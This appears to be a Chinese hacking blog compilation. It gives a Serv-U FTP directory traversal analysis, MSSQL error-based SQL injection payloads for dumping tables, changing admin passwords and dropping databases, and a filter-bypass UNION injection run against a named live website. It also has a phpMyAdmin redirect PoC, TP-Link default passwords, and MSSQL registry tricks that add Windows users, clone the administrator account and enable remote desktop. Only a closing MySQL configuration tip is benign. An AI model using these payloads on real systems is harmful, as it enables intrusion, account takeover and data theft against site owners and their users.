Serv-U FTP Server 0day漏洞分析报告

Serv-U FTP Server 0day漏洞是一个Serv-U远程目录遍历漏洞,2011-12-01公布。该漏洞最终可以导致远程目录遍历漏洞,可以覆盖、下载任意文件。

影响范围:根据资料显示有Serv-U 5个版本受到影响,安全宝验证了其中2个(v7.3和v6.4),其他受到影响的版本是v7.1、v8.2和v10.5。

模拟场景

软件:Serv-U FTP Server 7.3

FTP匿名帐户的根目录: C:\ftpuser

所要攻击的目标目录:C:\WINDOWS

原理说明

来看一下用anonymous登陆后,进行一个ls操作

此时一切正常,在ls操作中FTP目标目录路径由3个部分组成:

如果想ls一下windows目录的话,常规操作方法是这样ls ../windows

由于该用户的FTP根目录是C:\ftpuser,自然访问不了C:\windows,所以返回了一个550错误,此时在serv-u.dll中,路径的解析过程是这样的

可以看出来, Serv-U的目录权限检查非常简单,就是判断判断一下目标路径的首部是否是FTP用户的HOME目录,如果是,目录权限检查就算通过了。

那么现在来看一下该漏洞的攻击方式

可以看到,如果使用..:/windows,就获取到了目录的访问权限,那么仅仅多了一个“:”,为何就能攻击成功呢?来看一下serv-u内部对路径的解析流程

可以很明显看出, serv-u在删除了路径中的“:”后,没有再将C:\ftpuser\..\windows

进一步解释成C:\windows,所以导致后面的那个简单的目录权限检查很轻松地就通过了,最终导致了攻击者获取了FTP用户HOME目录以外的访问权限。

漏洞的具体位置是在serv-u.dll中的CSUString::MakeFullPath中

目录权限检查的代码

防护措施

安全宝建议,在Serv-U官方还没有发布该漏洞补丁之前,管理员在本地以低权限运行Serv-U的服务,以及降低此漏风风险。

mssql暴表暴列

注入点:id=1
and user>0  //得到数据库用户名
having 1=1–  //得到当前用户的数据信息,类似于aaa.bbb的格式,aaa是表名,bbb是列名。
group by 用户信息 having 1=1–  //继续得到一个列。
group by 信息1,信息2 having 1=1–  //继续
原理:在SQL语句中,having 1=1–是和group by结合使用并进行条件判断的,如果语句不完整,数据库就会返回错误信息,并显示一个表名一个列名。
暴出任意表名
and (select top 1 name from (select top 1 id,name from sysobjects where xtype=char(85)) T order by id desc)>1  //N代表数据库中的第几个表。
暴出表的的任意列。
and (select top 1 col_name(object_id(‘表名’),N)from sysobjects)>1  //N代表第几列。
暴出数据
and (select top 1 adminname from admin where id=1)>1  //N 代表第几条数据
修改数据
;update 表名 set 列名=’内容’ where 条件
;update admin set userpass=’123456′ where id=1

插入数据
;insert into 表名 values (内容)–
;insert into admin values (3800hk,123456)–
删除数据库
drop database 数据库名
获得数据库版本
and (select @@version)>0
获得当前数据库名
and db_name()>0
and user>0也可以用来判断权限,例如返回public说明是public权限
判断是否支持多句查询
;declare @a int–
判断是否支持子查询
and (select count(1) from [sysobjects])>=0

突破sql 注入过滤Union+SELECT 继续射下去

前几今天遇到一个bt 的老外注射点:   
//*ps 此点目前流行的注射工具射不 *//  
http://cleopatra-sy.com/index.php?content=more_product&id=17

http://cleopatra-sy.com/index.php?content=more_product&id=17 and 1=1  正常  
http://cleopatra-sy.com/index.php?content=more_product&id=17 and 1=2  报错  
http://cleopatra-sy.com/index.php?content=more_product&id=17 order by 6  正常  
http://cleopatra-sy.com/index.php?content=more_product&id=17 order by 7  错误  

继续按照常规的手法注射:  
http://cleopatra-sy.com/index.php?content=more_product&id=-17+UNION+SELECT+1,2
3,4,5,6– 


错误nnd,过滤 UNION+SELECT  我们来加点特殊的字符看看能不能绕过  
http://cleopatra-sy.com/index.php?content=more_product&id=-17+/**//**//*!uNiOn*//**/
/**//*!sElEcT*//**//**/1,2,3,4,5,6–  


悲剧还是绕不过去  – -,于是尝试自己知道的绕过方法继续射…  
http://cleopatra-sy.com/index.php?content=more_product&id=-17+/*U*//*n*//*i*//*o*//*n
*//*t*/+/*s*//*e*//*l*//*e*//*c*//*t*/+1,2,3,4,5,6–  

http://cleopatra-sy.com/index.php?content=more_product&id=-17+concat(u,n,i,o,n)+conca
t(s,e,l,e,c,t)+all+1,2,3,4,5,6–  
悲剧还是绕不过去,nnd。找了几个朋友看了还是绕不过去邪恶的过滤啊。要是国内 
的站以上几种方法一般都能搞定,老外就是bt。最后实在木有办法了只好去国外的黑 
客论坛求助老外帮助。国外php 注射历史悠久手法独特+方法猥琐  射出几率相当高  
于是发帖求助了终于有一个黑客回帖了而且轻松的绕过去了。  
http://cleopatra-sy.com/index.php?content=more_product&id=-17   and   (select   1)=(select  
0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAA)+/*!union*/+select+1,2,3,4,5,6–+-  
靠,老外果然牛B 那么继续射  
http://cleopatra-sy.com/index.php?content=more_product&id=-17   and   (select   1)=(select  
0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAA)+/*!union*/+select+1,concat_ws(0x7c,version(),database(),u 
ser()),3,4,5,6–+-  
成功得到系统版本、当前数据库用户、用户名 

PhpMyAdmin的客户端0Day重定向链接代码注入

PhpMyAdmin Client Side 0Day Code Injection and Redirect Link Falsification 

Credits: 

  Emanuele ”emgent” Gentili   < > 

  Marco ”white_sheep” Rondini < > 

  Alessandro ”scox” Scoscia   < > 

In error.php, PhpMyAdmin permit to insert text and restricted tag, like BBCode. 

With tag [a@url@page]Click Me[/a], you can insert your own page, and redirect all users. 

   
POC: 

http://127.0.0.1/phpmyadmin/error.php?type=This+is+a+client+side+hole+evidence&error=Client+side+attack+via+characters+injection[br]It%27s+possible+use+some+special+tags+too[br]Found+by+Tiger+Security+Tiger+Team+-+[a%40http://www.sitedirsec.com%40_self]This%20Is%20a%20Link[%2Fa]

tplink默认密码收集

guest guest

admin admin

admin “”

superadmin superadmin

superadmin “”

admin 123456

admin 1234567890

admin admin888

以后有啦或见到啦再更新吧!就这样啦!

mssql中所有关于注册表操作的收集

SQL Server中包含了几个可以访问系统注册表的扩展存储过程.但实际上这几个扩展存储过程是未公开的,从sql server 7.0就有了,
在SQL server 2000中仍然保留,他们以后可能会删除.但是这几个存储过程却提供了在当前的SQL Server版本中访问系统注册表的能力,
而且很多人利用SQL Server来进行攻击系统时,往往都会用到这几个扩展存储过程.所以最好在SQL Server中禁用他们. 
xp_regenumvalues 以多个记录集方式返回所有键值
使用方法:
xp_regenumvalues 注册表根键, 子键
比如说,想看看HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 的所有键值:
use master
exec xp_regenumvalues ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion\Run’

xp_regread 返回制定键的值
使用方法:
xp_regread 根键,子键,键值名
use master
exec xp_regread ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’CommonFilesDir’

xp_regwrite 写入注册表
使用方法:
xp_regwrite 根键,子键, 值名, 值类型, 值
use master
exec xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’TestValueName’,’reg_sz’,’hello’
注意值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型

xp_regdeletevalue 删除某个值
使用方法:
xp_regdeletevalue 根键,子键,值名
use master
exec xp_regdeletevalue ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’TestValueName’

xp_regdeletekey 删除键,包括该键下所有值

使用方法:
use master
xp_regdeletekey ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey’ 
MSSQL中主要用到的操作注册表的几个扩展:
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
3.首先开启沙盘模式: 
exec master..xp_regwrite ’HKEY_LOCAL_MACHINE’’SOFTWARE\Microsoft\Jet\4.0\Engines’’SandBoxMode’’REG_DWORD’1

然后利用jet.oledb执行系统命令 
select * from openrowset(’microsoft.jet.oledb.4.0’’;database=c:\winnt\system32\ias\ias.mdb’’select shell(“cmd.exe /c net user admin admin1234 /add”)’) 
————————
1.读取终端端口
exec master..xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp’,’PortNumber’
2.后门思路之扩展——克隆帐号提权(SA)
xp_regread ‘HKEY_LOCAL_MACHINE’,’SAM\SAM\Domains\Account\Users\000001F4′,’F’

得到对方系统administrator的加密密码,复制一下 
xp_regwrite ‘HKEY_LOCAL_MACHINE’, ‘SAM\SAM\Domains\Account\Users\000001F5’, ‘F’,’REG_BINARY’,0x…(上一步得到的那串字符) 
Guest帐户克隆完毕。

3.开启2003的终端(sa)
xp_regwrite ‘HKEY_LOCAL_MACHINE’, ‘SYSTEM\CurrentControlSet\Control\Terminal Server’, ‘fDenyTSConnections’,’REG_DWORD’,’0′

4.读取web路径(2000)
exec master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots’, ‘/’ 
5.一些网络信息 
exec xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM/CurrentControlSet/Services/lanmanserver/parameters’,’nullsessionshares’

6.
海阳2006+带的一些信息
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter RadminPass
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port RadminPort
HKEY_CURRENT_USER\Software\ORL\WinVNC3\Password VNC3Pass
HKEY_CURRENT_USER\Software\ORL\WinVNC3\PortNumber VNC3Port
HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\Password VNC4Pass
HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\PortNumber VNC4Port
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\Wds\Repwd\Tds\Tcp\PortNumber TerminalPort
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber TerminalPort
HKEY_LOCAL_MACHINE\SOFTWARE\Symantec\pcAnywhere\CurrentVersion\System\TCPIPDataPort PcAnyWhereDataPort
HKEY_LOCAL_MACHINE\SOFTWARE\Symantec\pcAnywhere\CurrentVersion\System\TCPIPStatusPort PcAnyWhereStatusPort
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Eventlog\Application\File Application Log
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Eventlog\Security\File Security Log
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Eventlog\System\File System Log
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SchedulingAgent\LogPath Schedule Log

MySQL函数不能创建的解决方法

在使用MySQL数据库时,有时会遇到MySQL函数不能创建的情况。下面就教您一个解决MySQL函数不能创建问题的方法,供您借鉴参考。

出错信息大致类似:

ERROR 1418 (HY000): This function has none of DETERMINISTIC, NO SQL, or READS SQL DATA in its declaration and binary logging is enabled (you *might* want to use the less safe log_bin_trust_function_creators variable)
ERROR 1418 (HY000): This function has none of DETERMINISTIC, NO SQL, or READS SQL DATA in its declaration and binary logging is enabled (you *might* want to use the less safe log_bin_trust_function_creators variable)

MySQL函数不能创建,是未开启功能:

  1. mysql> show variables like ‘%func%’;
  2. +———————————+——-+
  3. | Variable_name                    | Value |
  4. +———————————+——-+
  5. | log_bin_trust_function_creators | OFF    |
  6. +———————————+——-+
  7. 1 row in set (0.00 sec)
  8. mysql> set global log_bin_trust_function_creators=1;
  9. Query OK, 0 rows affected (0.00 sec)
  10. mysql> show variables like ‘%func%’;
  11. +———————————+——-+
  12. | Variable_name                    | Value |
  13. +———————————+——-+
  14. | log_bin_trust_function_creators | ON     |
  15. +———————————+——-+
  16. 1 row in set (0.00 sec)mysql>